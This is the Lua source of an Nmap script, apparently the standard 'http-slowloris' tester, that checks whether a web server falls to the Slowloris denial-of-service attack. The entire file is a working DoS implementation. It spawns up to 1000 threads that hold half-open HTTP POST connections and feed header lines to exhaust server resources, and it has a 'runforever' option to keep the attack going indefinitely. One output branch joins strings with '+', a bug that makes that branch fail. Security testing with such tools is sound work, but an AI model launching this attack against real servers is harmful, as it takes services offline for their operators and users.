local shortport = require "shortport" local stdnse = require "stdnse" local http = require "http" local comm = require "comm" description = [[ Tests a web server for vulnerability to the Slowloris DoS attack. Slowloris was described at Defcon 17 by RSnake (see http://ha.ckers.org/slowloris/). This script opens and maintains numerous 'half-HTTP' connections until the server runs out of ressources, leading to a denial of service. When a successful DoS is detected, the script stops the attack and returns these pieces of information (which may be useful to tweak further filtering rules): * Time taken until DoS * Number of sockets used * Number of queries sent By default the script runs for 30 minutes if DoS is not achieved. Please note that the number of concurrent connexions must be defined with the --max-parallelism option (default is 20, suggested is 400 or more) Also, be advised that in some cases this attack can bring the web server down for good, not only while the attack is running. Also, due to OS limitations, the script is unlikely to work when run from Windows. ]] --- -- @usage -- nmap --script http-slowloris --max-parallelism 400 -- -- @args http-slowloris.timeout Time to wait before sending new http header datas -- in order to maintain the connection. Defaults to 100 seconds. -- @args http-slowloris.runforever Specify that the script should continue the attack forever. -- @args http-slowloris.timelimit Specify maximum run time for DoS attack (30 minutes default). -- -- @output -- PORT STATE SERVICE REASON VERSION -- 80/tcp open http syn-ack Apache httpd 2.2.20 ((Ubuntu)) -- | http-slowloris: -- | Vulnerable: -- | the DoS attack took +2m22s -- | with 501 concurrent connections -- |_ and 441 sent queries author = "Aleksandar Nikolic, Ange Gutek" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"dos", "intrusive"} portrule = shortport.http local runforever = stdnse.get_script_args('http-slowloris.runforever') or nil -- get time (in miliseconds) when the script should finish local function get_end_time() local t = nmap.timing_level() local limit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or "30m") local end_time = 1000 * limit + nmap.clock_ms() return end_time end local thread_count = 0 -- this will save the amount of still connected threads local sockets = 0 -- the maximum amount of sockets during the attack. This could be lower than the requested concurrent connections because of the webserver configuration (eg maxClients on Apache) local queries = 0 -- this will save the amount of new lines sent to the half-http requests until the target runs out of ressources local server_notice local dosed = false local stop_all = false local reason = "slowloris" -- DoSed due to slowloris attack or something else local bestopt local doHalfhttp = function(host,port,obj) local condvar = nmap.condvar(obj) local get_uri = math.random(100000, 900000) -- we will query a random page if stop_all then condvar "signal" return end -- create socket local slowloris = nmap.new_socket() slowloris:set_timeout(200 * 1000) -- set a long timeout so our socked doesn't timeout while it's waiting thread_count = thread_count + 1 local catch = function() -- this connection is now dead thread_count = thread_count - 1 stdnse.print_debug("HALF_HTTP: lost connection") slowloris:close() slowloris = nil condvar "signal" end local try = nmap.new_try(catch) try(slowloris:connect(host.ip, port,bestopt)) -- Build a half-http header. local half_http = "POST /"..get_uri.." HTTP/1.1\r\n" half_http = half_http.."Host: "..host.ip.."\r\n" half_http = half_http.."User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" half_http = half_http.."Content-Length: 42\r\n" try(slowloris:send(half_http)) server_notice = " (attack against "..host.ip.."): HTTP stream started." -- during the attack some connections will die and other will respawn. Here we keep in mind the maximum concurrent connections reached. if sockets <= thread_count then sockets = thread_count end local feed_interval = stdnse.get_script_args("http-slowloris.timeout") if feed_interval == nil then feed_interval = 100 end -- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval while true do if stop_all then break end stdnse.sleep(feed_interval) try(slowloris:send("X-a: b\r\n")) server_notice = " (attack against "..host.ip.."): Feeding HTTP stream..." queries = queries + 1 server_notice = server_notice .. "\n(attack against "..host.ip.."): "..queries.." queries sent using "..thread_count.." connections." end slowloris:close() thread_count = thread_count - 1 condvar "signal" end -- Monitor the web server local doMonitor = function(host,port) local general_faults = 0 local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server stdnse.print_debug("MONITOR: Monitoring " ..host.ip.. " started") local request = "GET / HTTP/1.1\r\nHost: "..host.ip .."\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n" local monitor, line local opts = {} monitor, line, bestopt = comm.tryssl(host,port,"GET / \r\n\r\n",opts) -- first determine if we need ssl while not stop_all do monitor = nmap.new_socket() local status = monitor:connect(host.ip, port,bestopt) if not status then general_faults = general_faults + 1 if general_faults > 3 then reason = "not-slowloris" dosed = true break end else status = monitor:send(request) if not status then general_faults = general_faults + 1 if general_faults > 3 then reason = "not-slowloris" dosed = true break end end status, data = monitor:receive_lines(1) if not status then stdnse.print_debug("MONITOR: Didn't get a reply from " .. host.ip .. "." ) monitor:close() request_faults = request_faults +1 if request_faults > 3 then if runforever == nil then stdnse.print_debug("MONITOR: server " .. host.ip .. "is now unavailable. The attack worked.") dosed = true end monitor:close() break end else request_faults = 0 general_faults = 0 stdnse.print_debug("MONITOR: "..host.ip.." still up, answer received." ) stdnse.sleep(10) monitor:close() end if stop_all then break end end end end local mutex = nmap.mutex("http-slowloris") local threads = {} local worker_schedluer = function(host, port) local obj = {} local condvar = nmap.condvar(obj) local i for i=1,1000 do -- The real amount of sockets is triggered by the --max-parallelism option. The remaining threads will replace dead sockets during the attack local co = stdnse.new_thread(doHalfhttp, host, port,obj) threads[co] = true end while not dosed and not stop_all do -- keep creating new threads, in case we want to run the attack indefinitely repeat condvar "wait" if stop_all then return end for thread in pairs(threads) do if coroutine.status(thread) == "dead" then threads[thread] = nil end end stdnse.print_debug("starting new thread") local co = stdnse.new_thread(doHalfhttp, host, port,obj) threads[co] = true until next(threads) == nil; end end action = function(host, port) mutex "lock" -- we want only one slowloris instance running at a single time even if multiple hosts are specified -- in order to have as many sockets as we can available to this script local output={} local start,stop,dos_time start = os.date("!*t") -- The first thread is for monitoring and is launched before the attack threads local mon = stdnse.new_thread(doMonitor, host, port) stdnse.sleep(2) -- let the monitor make the first request stdnse.print_debug("MAIN THREAD: starting schedluer") local sched = stdnse.new_thread(worker_schedluer, host, port) local end_time = get_end_time() local last_message if not (runforever == nil) then stdnse.print_debug("RUNNING FOREVER") end -- return a live notice from time to time while (nmap.clock_ms() < end_time or not (runforever == nil)) and not stop_all do if server_notice ~= last_message then -- don't flood the output by repeating the same info stdnse.print_debug("MAIN THREAD: " .. server_notice) last_message = server_notice end if dosed and runforever == nil then break end stdnse.sleep(10) end stop = os.date("!*t") dos_time = stdnse.format_difftime(stop,start) stop_all = true if dosed then if reason == "slowloris" then stdnse.print_debug(2, "%s: Slowloris Attack stopped, building output", SCRIPT_NAME) output = "Vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries" else stdnse.print_debug(2, "%s: Slowloris Attack stopped. Monitor couldn't communicate with the server.", SCRIPT_NAME) output = "Probably vulnerable:\n".. "the DoS attack took ".. dos_time .. "\nwith ".. sockets .. " concurrent connections\nand " .. queries .." sent queries" output = output + "Monitoring thread couldn't communicate with the server. This is probably due to max clients exhaustion or something similar but not due to slowloris attack." end mutex "done" -- release the mutex return stdnse.format_output(true, output) end mutex "done" -- release the mutex return false end